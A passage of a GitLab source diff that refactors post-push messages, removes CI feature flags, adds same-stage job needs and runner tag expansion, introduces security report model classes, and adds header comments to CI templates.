- rule(:end_tag) { expr_open >> str('end') >> expr_close }
-
- # An `if` expression, with an optional `else` clause.
- #
- # Examples:
- #
- # {% if foo %}
- # yes
- # {% end %}
- #
- # {% if foo %}
- # yes
- # {% else %}
- # no
- # {% end %}
- rule(:if_expr) do
- else_tag =
- expr_open >> str('else') >> expr_close >> exprs.as(:false_body)
-
- expr_open >>
- str('if') >>
- space.repeat(1) >>
- selector.as(:if) >>
- expr_close >>
- exprs.as(:true_body) >>
- else_tag.maybe >>
- end_tag
- end
-
- # An `each` expression, used for iterating over collections.
- #
- # Example:
- #
- # {% each users %}
- # * {{name}}
- # {% end %}
- rule(:each_expr) do
- expr_open >>
- str('each') >>
- space.repeat(1) >>
- selector.as(:each) >>
- expr_close >>
- exprs.as(:body) >>
- end_tag
- end
-
- def parse_and_transform(input)
- AST::Transformer.new.apply(parse(input))
- rescue Parslet::ParseFailed => ex
- # We raise a custom error so it's easier to catch different changelog
- # related errors. In addition, this ensures the caller of this method
- # doesn't depend on a Parslet specific error class.
- raise Error, "Failed to parse the template: #{ex.message}"
- end
- end
- end
-end
diff --git a/lib/gitlab/changelog/release.rb b/lib/gitlab/changelog/release.rb
index f2a01c2b0dc..c0b6a5c5679 100644
--- a/lib/gitlab/changelog/release.rb
+++ b/lib/gitlab/changelog/release.rb
@@ -54,7 +54,7 @@ module Gitlab
end
def to_markdown
- state = EvalState.new
+ state = TemplateParser::EvalState.new
data = { 'categories' => entries_for_template }
# While not critical, we would like release sections to be separated by
@@ -63,7 +63,12 @@ module Gitlab
#
# Since it can be a bit tricky to get this right in a template, we
# enforce an empty line separator ourselves.
- markdown = @config.template.evaluate(state, data).strip
+ markdown =
+ begin
+ @config.template.evaluate(state, data).strip
+ rescue TemplateParser::ParseError => e
+ raise Error, e.message
+ end
# The release header can't be changed using the Liquid template, as we
# need this to be in a known format. Without this restriction, we won't
diff --git a/lib/gitlab/checks/container_moved.rb b/lib/gitlab/checks/container_moved.rb
new file mode 100644
index 00000000000..41180bbf246
--- /dev/null
+++ b/lib/gitlab/checks/container_moved.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Checks
+ class ContainerMoved < PostPushMessage
+ REDIRECT_NAMESPACE = "redirect_namespace"
+
+ def initialize(repository, user, protocol, redirected_path)
+ @redirected_path = redirected_path
+
+ super(repository, user, protocol)
+ end
+
+ def message
+ <<~MESSAGE
+ #{container.class.model_name.human} '#{redirected_path}' was moved to '#{container.full_path}'.
+
+ Please update your Git remote:
+
+ git remote set-url origin #{url_to_repo}
+ MESSAGE
+ end
+
+ private
+
+ attr_reader :redirected_path
+
+ def self.message_key(user, repository)
+ "#{REDIRECT_NAMESPACE}:#{user.id}:#{repository.gl_repository}"
+ end
+
+ # TODO: Remove in the next release
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/292030
+ def self.legacy_message_key(user, repository)
+ return unless repository.project
+
+ "#{REDIRECT_NAMESPACE}:#{user.id}:#{repository.project.id}"
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/checks/lfs_check.rb b/lib/gitlab/checks/lfs_check.rb
index 51013b69755..84069a1249b 100644
--- a/lib/gitlab/checks/lfs_check.rb
+++ b/lib/gitlab/checks/lfs_check.rb
@@ -7,9 +7,9 @@ module Gitlab
ERROR_MESSAGE = 'LFS objects are missing. Ensure LFS is properly set up or try a manual "git lfs push --all".'
def validate!
- # This feature flag is used for disabling integrify check on some envs
+ # This feature flag is used for disabling integrity check on some envs
# because these costy calculations may cause performance issues
- return unless Feature.enabled?(:lfs_check, default_enabled: true)
+ return unless Feature.enabled?(:lfs_check, project, default_enabled: :yaml)
return unless project.lfs_enabled?
diff --git a/lib/gitlab/checks/post_push_message.rb b/lib/gitlab/checks/post_push_message.rb
index 0d93e7ac8a1..09407f45e54 100644
--- a/lib/gitlab/checks/post_push_message.rb
+++ b/lib/gitlab/checks/post_push_message.rb
@@ -9,21 +9,32 @@ module Gitlab
@protocol = protocol
end
- def self.fetch_message(user_id, project_id)
- key = message_key(user_id, project_id)
+ def self.fetch_message(user, repository)
+ key = message_key(user, repository)
+
+ # Also check for messages in the legacy key
+ # TODO: Remove in the next release
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/292030
+ legacy_key = legacy_message_key(user, repository) if respond_to?(:legacy_message_key)
Gitlab::Redis::SharedState.with do |redis|
message = redis.get(key)
redis.del(key)
- message
+
+ if legacy_key
+ legacy_message = redis.get(legacy_key)
+ redis.del(legacy_key)
+ end
+
+ legacy_message || message
end
end
def add_message
- return unless user.present? && project.present?
+ return unless user && repository
Gitlab::Redis::SharedState.with do |redis|
- key = self.class.message_key(user.id, project.id)
+ key = self.class.message_key(user, repository)
redis.setex(key, 5.minutes, message)
end
end
@@ -39,7 +50,7 @@ module Gitlab
delegate :project, to: :repository, allow_nil: true
delegate :container, to: :repository, allow_nil: false
- def self.message_key(user_id, project_id)
+ def self.message_key(user, repository)
raise NotImplementedError
end
diff --git a/lib/gitlab/checks/project_created.rb b/lib/gitlab/checks/project_created.rb
index 362562068e9..ea3be883be6 100644
--- a/lib/gitlab/checks/project_created.rb
+++ b/lib/gitlab/checks/project_created.rb
@@ -21,8 +21,16 @@ module Gitlab
private
- def self.message_key(user_id, project_id)
- "#{PROJECT_CREATED}:#{user_id}:#{project_id}"
+ def self.message_key(user, repository)
+ "#{PROJECT_CREATED}:#{user.id}:#{repository.gl_repository}"
+ end
+
+ # TODO: Remove in the next release
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/292030
+ def self.legacy_message_key(user, repository)
+ return unless repository.project
+
+ "#{PROJECT_CREATED}:#{user.id}:#{repository.project.id}"
end
def project_url
diff --git a/lib/gitlab/checks/project_moved.rb b/lib/gitlab/checks/project_moved.rb
deleted file mode 100644
index 4cc35de9c2d..00000000000
--- a/lib/gitlab/checks/project_moved.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Checks
- class ProjectMoved < PostPushMessage
- REDIRECT_NAMESPACE = "redirect_namespace"
-
- def initialize(repository, user, protocol, redirected_path)
- @redirected_path = redirected_path
-
- super(repository, user, protocol)
- end
-
- def message
- <<~MESSAGE
- Project '#{redirected_path}' was moved to '#{project.full_path}'.
-
- Please update your Git remote:
-
- git remote set-url origin #{url_to_repo}
- MESSAGE
- end
-
- private
-
- attr_reader :redirected_path
-
- def self.message_key(user_id, project_id)
- "#{REDIRECT_NAMESPACE}:#{user_id}:#{project_id}"
- end
- end
- end
-end
diff --git a/lib/gitlab/ci/ansi2json/line.rb b/lib/gitlab/ci/ansi2json/line.rb
index 466706384c0..8f2d47e7ccc 100644
--- a/lib/gitlab/ci/ansi2json/line.rb
+++ b/lib/gitlab/ci/ansi2json/line.rb
@@ -76,8 +76,14 @@ module Gitlab
@section_header = true
end
- def set_section_duration(duration)
- @section_duration = Time.at(duration.to_i).utc.strftime('%M:%S')
+ def set_section_duration(duration_in_seconds)
+ duration = ActiveSupport::Duration.build(duration_in_seconds.to_i)
+ hours = duration.in_hours.floor
+ hours = hours > 0 ? "%02d" % hours : nil
+ minutes = "%02d" % duration.parts[:minutes].to_i
+ seconds = "%02d" % duration.parts[:seconds].to_i
+
+ @section_duration = [hours, minutes, seconds].compact.join(':')
end
def flush_current_segment!
diff --git a/lib/gitlab/ci/config/entry/artifacts.rb b/lib/gitlab/ci/config/entry/artifacts.rb
index 6118ff49928..56eeb5eeb06 100644
--- a/lib/gitlab/ci/config/entry/artifacts.rb
+++ b/lib/gitlab/ci/config/entry/artifacts.rb
@@ -36,8 +36,7 @@ module Gitlab
}, if: :expose_as_present?
validates :expose_as, type: String, length: { maximum: 100 }, if: :expose_as_present?
validates :expose_as, format: { with: EXPOSE_AS_REGEX, message: EXPOSE_AS_ERROR_MESSAGE }, if: :expose_as_present?
- validates :exclude, array_of_strings: true, if: :exclude_enabled?
- validates :exclude, absence: { message: 'feature is disabled' }, unless: :exclude_enabled?
+ validates :exclude, array_of_strings: true
validates :reports, type: Hash
validates :when,
inclusion: { in: %w[on_success on_failure always],
@@ -60,10 +59,6 @@ module Gitlab
!@config[:expose_as].nil?
end
-
- def exclude_enabled?
- ::Gitlab::Ci::Features.artifacts_exclude_enabled?
- end
end
end
end
diff --git a/lib/gitlab/ci/config/entry/reports.rb b/lib/gitlab/ci/config/entry/reports.rb
index 4db25fb0930..e45dbfa243f 100644
--- a/lib/gitlab/ci/config/entry/reports.rb
+++ b/lib/gitlab/ci/config/entry/reports.rb
@@ -15,7 +15,7 @@ module Gitlab
%i[junit codequality sast secret_detection dependency_scanning container_scanning
dast performance browser_performance load_performance license_scanning metrics lsif
dotenv cobertura terraform accessibility cluster_applications
- requirements coverage_fuzzing api_fuzzing].freeze
+ requirements coverage_fuzzing api_fuzzing cluster_image_scanning].freeze
attributes ALLOWED_KEYS
@@ -32,6 +32,7 @@ module Gitlab
validates :secret_detection, array_of_strings_or_string: true
validates :dependency_scanning, array_of_strings_or_string: true
validates :container_scanning, array_of_strings_or_string: true
+ validates :cluster_image_scanning, array_of_strings_or_string: true
validates :dast, array_of_strings_or_string: true
validates :performance, array_of_strings_or_string: true
validates :browser_performance, array_of_strings_or_string: true
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
index fe69a170404..d26a903c1f8 100644
--- a/lib/gitlab/ci/features.rb
+++ b/lib/gitlab/ci/features.rb
@@ -6,18 +6,6 @@ module Gitlab
# Ci::Features is a class that aggregates all CI/CD feature flags in one place.
#
module Features
- def self.artifacts_exclude_enabled?
- ::Feature.enabled?(:ci_artifacts_exclude, default_enabled: true)
- end
-
- def self.pipeline_latest?
- ::Feature.enabled?(:ci_pipeline_latest, default_enabled: true)
- end
-
- def self.pipeline_status_omit_commit_sha_in_cache_key?(project)
- Feature.enabled?(:ci_pipeline_status_omit_commit_sha_in_cache_key, project, default_enabled: true)
- end
-
# NOTE: The feature flag `disallow_to_create_merge_request_pipelines_in_target_project`
# is a safe switch to disable the feature for a particular project when something went wrong,
# therefore it's not supposed to be enabled by default.
@@ -34,10 +22,6 @@ module Gitlab
::Feature.enabled?(:ci_trace_log_invalid_chunks, project, type: :ops, default_enabled: false)
end
- def self.display_quality_on_mr_diff?(project)
- ::Feature.enabled?(:codequality_mr_diff, project, default_enabled: :yaml)
- end
-
def self.gldropdown_tags_enabled?
::Feature.enabled?(:gldropdown_tags, default_enabled: :yaml)
end
diff --git a/lib/gitlab/ci/matching/runner_matcher.rb b/lib/gitlab/ci/matching/runner_matcher.rb
index 63642674936..a729ca8a821 100644
--- a/lib/gitlab/ci/matching/runner_matcher.rb
+++ b/lib/gitlab/ci/matching/runner_matcher.rb
@@ -18,6 +18,7 @@ module Gitlab
#
class RunnerMatcher
ATTRIBUTES = %i[
+ runner_ids
runner_type
public_projects_minutes_cost_factor
private_projects_minutes_cost_factor
diff --git a/lib/gitlab/ci/pipeline/chain/seed.rb b/lib/gitlab/ci/pipeline/chain/seed.rb
index 66fc6741252..ef7447fa83d 100644
--- a/lib/gitlab/ci/pipeline/chain/seed.rb
+++ b/lib/gitlab/ci/pipeline/chain/seed.rb
@@ -10,10 +10,7 @@ module Gitlab
def perform!
raise ArgumentError, 'missing YAML processor result' unless @command.yaml_processor_result
-
- if ::Feature.enabled?(:ci_workflow_rules_variables, pipeline.project, default_enabled: :yaml)
- raise ArgumentError, 'missing workflow rules result' unless @command.workflow_rules_result
- end
+ raise ArgumentError, 'missing workflow rules result' unless @command.workflow_rules_result
# Allocate next IID. This operation must be outside of transactions of pipeline creations.
pipeline.ensure_project_iid!
@@ -51,13 +48,9 @@ module Gitlab
end
def root_variables
- if ::Feature.enabled?(:ci_workflow_rules_variables, pipeline.project, default_enabled: :yaml)
- ::Gitlab::Ci::Variables::Helpers.merge_variables(
- @command.yaml_processor_result.root_variables, @command.workflow_rules_result.variables
- )
- else
- @command.yaml_processor_result.root_variables
- end
+ ::Gitlab::Ci::Variables::Helpers.merge_variables(
+ @command.yaml_processor_result.root_variables, @command.workflow_rules_result.variables
+ )
end
end
end
diff --git a/lib/gitlab/ci/pipeline/seed/build.rb b/lib/gitlab/ci/pipeline/seed/build.rb
index 299b27a5f13..54d92745992 100644
--- a/lib/gitlab/ci/pipeline/seed/build.rb
+++ b/lib/gitlab/ci/pipeline/seed/build.rb
@@ -11,11 +11,16 @@ module Gitlab
delegate :dig, to: :@seed_attributes
- def initialize(context, attributes, previous_stages)
+ def initialize(context, attributes, previous_stages, current_stage)
@context = context
@pipeline = context.pipeline
@seed_attributes = attributes
- @previous_stages = previous_stages
+ @stages_for_needs_lookup = if Feature.enabled?(:ci_same_stage_job_needs, @pipeline.project, default_enabled: :yaml)
+ (previous_stages + [current_stage]).compact
+ else
+ previous_stages
+ end
+
@needs_attributes = dig(:needs_attributes)
@resource_group_key = attributes.delete(:resource_group_key)
@job_variables = @seed_attributes.delete(:job_variables)
@@ -67,6 +72,7 @@ module Gitlab
.deep_merge(rules_attributes)
.deep_merge(allow_failure_criteria_attributes)
.deep_merge(@cache.cache_attributes)
+ .deep_merge(runner_tags)
end
def bridge?
@@ -148,14 +154,18 @@ module Gitlab
@needs_attributes.flat_map do |need|
next if need[:optional]
- result = @previous_stages.any? do |stage|
- stage.seeds_names.include?(need[:name])
- end
+ result = need_present?(need)
- "'#{name}' job needs '#{need[:name]}' job, but it was not added to the pipeline" unless result
+ "'#{name}' job needs '#{need[:name]}' job, but '#{need[:name]}' is not in any previous stage" unless result
end.compact
end
+ def need_present?(need)
+ @stages_for_needs_lookup.any? do |stage|
+ stage.seeds_names.include?(need[:name])
+ end
+ end
+
def max_needs_allowed
@pipeline.project.actual_limits.ci_needs_size_limit
end
@@ -202,6 +212,16 @@ module Gitlab
end
end
+ def runner_tags
+ { tag_list: evaluate_runner_tags }.compact
+ end
+
+ def evaluate_runner_tags
+ @seed_attributes[:tag_list]&.map do |tag|
+ ExpandVariables.expand_existing(tag, evaluate_context.variables)
+ end
+ end
+
# If a job uses `allow_failure:exit_codes` and `rules:allow_failure`
# we need to prevent the exit codes from being persisted because they
# would break the behavior defined by `rules:allow_failure`.
@@ -213,8 +233,6 @@ module Gitlab
end
def recalculate_yaml_variables!
- return unless ::Feature.enabled?(:ci_workflow_rules_variables, @pipeline.project, default_enabled: :yaml)
-
@seed_attributes[:yaml_variables] = Gitlab::Ci::Variables::Helpers.inherit_yaml_variables(
from: @context.root_variables, to: @job_variables, inheritance: @root_variables_inheritance
)
@@ -224,3 +242,5 @@ module Gitlab
end
end
end
+
+Gitlab::Ci::Pipeline::Seed::Build.prepend_mod_with('Gitlab::Ci::Pipeline::Seed::Build')
diff --git a/lib/gitlab/ci/pipeline/seed/stage.rb b/lib/gitlab/ci/pipeline/seed/stage.rb
index c988ea10e41..018fb260986 100644
--- a/lib/gitlab/ci/pipeline/seed/stage.rb
+++ b/lib/gitlab/ci/pipeline/seed/stage.rb
@@ -17,7 +17,7 @@ module Gitlab
@previous_stages = previous_stages
@builds = attributes.fetch(:builds).map do |attributes|
- Seed::Build.new(context, attributes, previous_stages)
+ Seed::Build.new(context, attributes, previous_stages, self)
end
end
diff --git a/lib/gitlab/ci/pipeline_object_hierarchy.rb b/lib/gitlab/ci/pipeline_object_hierarchy.rb
index de3262b10e0..e05a617f4fc 100644
--- a/lib/gitlab/ci/pipeline_object_hierarchy.rb
+++ b/lib/gitlab/ci/pipeline_object_hierarchy.rb
@@ -21,7 +21,7 @@ module Gitlab
middle_table[:source_pipeline_id].eq(objects_table[:id]).and(
middle_table[:pipeline_id].eq(cte.table[:id])
).and(
- same_project_condition
+ project_condition
)
end
@@ -29,15 +29,15 @@ module Gitlab
middle_table[:pipeline_id].eq(objects_table[:id]).and(
middle_table[:source_pipeline_id].eq(cte.table[:id])
).and(
- same_project_condition
+ project_condition
)
end
- def same_project_condition
- if options[:same_project]
- middle_table[:source_project_id].eq(middle_table[:project_id])
- else
- Arel.sql('TRUE')
+ def project_condition
+ case options[:project_condition]
+ when :same then middle_table[:source_project_id].eq(middle_table[:project_id])
+ when :different then middle_table[:source_project_id].not_eq(middle_table[:project_id])
+ else Arel.sql('TRUE')
end
end
end
diff --git a/lib/gitlab/ci/reports/security/analyzer.rb b/lib/gitlab/ci/reports/security/analyzer.rb
new file mode 100644
index 00000000000..b88eaf87cef
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/analyzer.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class Analyzer
+ attr_reader :id, :name, :version, :vendor
+
+ def initialize(id:, name:, version:, vendor:)
+ @id = id
+ @name = name
+ @version = version
+ @vendor = vendor
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/concerns/fingerprint_path_from_file.rb b/lib/gitlab/ci/reports/security/concerns/fingerprint_path_from_file.rb
new file mode 100644
index 00000000000..ec1d80e11c8
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/concerns/fingerprint_path_from_file.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ module Concerns
+ module FingerprintPathFromFile
+ extend ActiveSupport::Concern
+
+ def fingerprint_path
+ File.basename(file_path.to_s)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/identifier.rb b/lib/gitlab/ci/reports/security/identifier.rb
new file mode 100644
index 00000000000..4ba943cdcbc
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/identifier.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class Identifier
+ attr_reader :external_id
+ attr_reader :external_type
+ attr_reader :fingerprint
+ attr_reader :name
+ attr_reader :url
+
+ def initialize(external_id:, external_type:, name:, url: nil)
+ @external_id = external_id
+ @external_type = external_type
+ @name = name
+ @url = url
+
+ @fingerprint = generate_fingerprint
+ end
+
+ def key
+ fingerprint
+ end
+
+ def to_hash
+ %i[
+ external_id
+ external_type
+ fingerprint
+ name
+ url
+ ].each_with_object({}) do |key, hash|
+ hash[key] = public_send(key) # rubocop:disable GitlabSecurity/PublicSend
+ end
+ end
+
+ def ==(other)
+ other.external_type == external_type &&
+ other.external_id == external_id
+ end
+
+ def type_identifier?
+ cwe? || wasc?
+ end
+
+ def cve?
+ external_type.to_s.casecmp?('cve')
+ end
+
+ def cwe?
+ external_type.to_s.casecmp?('cwe')
+ end
+
+ def wasc?
+ external_type.to_s.casecmp?('wasc')
+ end
+
+ private
+
+ def generate_fingerprint
+ Digest::SHA1.hexdigest("#{external_type}:#{external_id}")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/link.rb b/lib/gitlab/ci/reports/security/link.rb
new file mode 100644
index 00000000000..1c4c05cd9ac
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/link.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class Link
+ attr_accessor :name, :url
+
+ def initialize(name: nil, url: nil)
+ @name = name
+ @url = url
+ end
+
+ def to_hash
+ {
+ name: name,
+ url: url
+ }.compact
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/scan.rb b/lib/gitlab/ci/reports/security/scan.rb
new file mode 100644
index 00000000000..7dd0acc868b
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/scan.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class Scan
+ attr_accessor :type, :status, :start_time, :end_time
+
+ def initialize(params = {})
+ @type = params.dig('type')
+ @status = params.dig('status')
+ @start_time = params.dig('start_time')
+ @end_time = params.dig('end_time')
+ end
+
+ def to_hash
+ {
+ type: type,
+ status: status,
+ start_time: start_time,
+ end_time: end_time
+ }.compact
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/scanned_resource.rb b/lib/gitlab/ci/reports/security/scanned_resource.rb
new file mode 100644
index 00000000000..605577eafcd
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/scanned_resource.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class ScannedResource
+ include Gitlab::Utils::StrongMemoize
+
+ attr_reader :request_method
+ attr_reader :request_uri
+
+ delegate :scheme, :host, :port, :path, :query, to: :request_uri, prefix: :url
+
+ def initialize(uri, request_method)
+ raise ArgumentError unless uri.is_a?(URI)
+
+ @request_method = request_method
+ @request_uri = uri
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/reports/security/scanner.rb b/lib/gitlab/ci/reports/security/scanner.rb
new file mode 100644
index 00000000000..c1de03cea44
--- /dev/null
+++ b/lib/gitlab/ci/reports/security/scanner.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Reports
+ module Security
+ class Scanner
+ ANALYZER_ORDER = {
+ "bundler_audit" => 1,
+ "retire.js" => 2,
+ "gemnasium" => 3,
+ "gemnasium-maven" => 3,
+ "gemnasium-python" => 3,
+ "bandit" => 1,
+ "semgrep" => 2
+ }.freeze
+
+ attr_accessor :external_id, :name, :vendor, :version
+
+ alias_method :key, :external_id
+
+ def initialize(external_id:, name:, vendor:, version:)
+ @external_id = external_id
+ @name = name
+ @vendor = vendor
+ @version = version
+ end
+
+ def to_hash
+ {
+ external_id: external_id.to_s,
+ name: name.to_s,
+ vendor: vendor.presence
+ }.compact
+ end
+
+ def ==(other)
+ other.external_id == external_id
+ end
+
+ def <=>(other)
+ sort_keys.compact <=> other.sort_keys.compact
+ end
+
+ protected
+
+ def sort_keys
+ @sort_keys ||= [order, external_id, name, vendor]
+ end
+
+ private
+
+ def order
+ ANALYZER_ORDER.fetch(external_id, Float::INFINITY)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/status/build/failed.rb b/lib/gitlab/ci/status/build/failed.rb
index 66f51f63585..dbbb9a01dab 100644
--- a/lib/gitlab/ci/status/build/failed.rb
+++ b/lib/gitlab/ci/status/build/failed.rb
@@ -31,7 +31,8 @@ module Gitlab
project_deleted: 'pipeline project was deleted',
user_blocked: 'pipeline user was blocked',
ci_quota_exceeded: 'no more CI minutes available',
- no_matching_runner: 'no matching runner available'
+ no_matching_runner: 'no matching runner available',
+ trace_size_exceeded: 'log size limit exceeded'
}.freeze
private_constant :REASONS
diff --git a/lib/gitlab/ci/status/composite.rb b/lib/gitlab/ci/status/composite.rb
index 5368e020a50..3b2da773102 100644
--- a/lib/gitlab/ci/status/composite.rb
+++ b/lib/gitlab/ci/status/composite.rb
@@ -95,11 +95,7 @@ module Gitlab
end
def any_skipped_or_ignored?
- if ::Feature.enabled?(:ci_fix_pipeline_status_for_dag_needs_manual, @project, default_enabled: :yaml)
- any_of?(:skipped) || any_of?(:ignored)
- else
- any_of?(:skipped)
- end
+ any_of?(:skipped) || any_of?(:ignored)
end
def consume_all_statuses(all_statuses)
diff --git a/lib/gitlab/ci/status/core.rb b/lib/gitlab/ci/status/core.rb
index e7ed2081f6a..f60f5243666 100644
--- a/lib/gitlab/ci/status/core.rb
+++ b/lib/gitlab/ci/status/core.rb
@@ -18,6 +18,10 @@ module Gitlab
@user = user
end
+ def id
+ "#{group}-#{subject.id}"
+ end
+
def icon
raise NotImplementedError
end
diff --git a/lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml b/lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml
index c06ef83c180..ebb0b5948f1 100644
--- a/lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/5-Minute-Production-App.gitlab-ci.yml
+
# This template is on early stage of development.
# Use it with caution. For usage instruction please read
# https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/blob/v2.3.0/README.md
diff --git a/lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml b/lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml
index 267027a1b8a..60173cab54a 100644
--- a/lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/AWS/CF-Provision-and-Deploy-EC2.gitlab-ci.yml
+
stages:
- provision
- review
diff --git a/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml b/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml
index 453803a6f7e..17e49440784 100644
--- a/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/AWS/Deploy-ECS.gitlab-ci.yml
+
stages:
- build
- test
diff --git a/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml b/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
index 2ff36bcc657..64e3b695e27 100644
--- a/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml
+
# Read more about how to use this script on this blog post https://about.gitlab.com/2019/01/28/android-publishing-with-gitlab-and-fastlane/
# You will also need to configure your build.gradle, Dockerfile, and fastlane configuration to make this work.
# If you are looking for a simpler template that does not publish, see the Android template.
diff --git a/lib/gitlab/ci/templates/Android.gitlab-ci.yml b/lib/gitlab/ci/templates/Android.gitlab-ci.yml
index d20dabc0b00..b8a4c59c233 100644
--- a/lib/gitlab/ci/templates/Android.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Android.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android.gitlab-ci.yml
+
# Read more about this script on this blog post https://about.gitlab.com/2018/10/24/setting-up-gitlab-ci-for-android-projects/, by Jason Lenny
# If you are interested in using Android with FastLane for publishing take a look at the Android-Fastlane template.
diff --git a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
index 207e2cf074a..adb5d430d46 100644
--- a/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
@@ -1,4 +1,10 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml
+
# Auto DevOps
+#
# This CI/CD configuration provides a standard pipeline for
# * building a Docker image (using a buildpack if necessary),
# * storing the image in the container registry,
diff --git a/lib/gitlab/ci/templates/Bash.gitlab-ci.yml b/lib/gitlab/ci/templates/Bash.gitlab-ci.yml
index 67e58d9ee99..1910913f2bd 100644
--- a/lib/gitlab/ci/templates/Bash.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Bash.gitlab-ci.yml
@@ -1,4 +1,9 @@
-# see https://docs.gitlab.com/ee/ci/yaml/README.html for all available options
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml
+
+# See https://docs.gitlab.com/ee/ci/yaml/README.html for all available options
# you can delete this line if you're not using Docker
image: busybox:latest
diff --git a/lib/gitlab/ci/templates/C++.gitlab-ci.yml b/lib/gitlab/ci/templates/C++.gitlab-ci.yml
index 33a2a534508..bdcd3240380 100644
--- a/lib/gitlab/ci/templates/C++.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/C++.gitlab-ci.yml
@@ -1,6 +1,12 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/C++.gitlab-ci.yml
+
# use the official gcc image, based on debian
# can use verions as well, like gcc:5.2
# see https://hub.docker.com/_/gcc/
+
image: gcc
build:
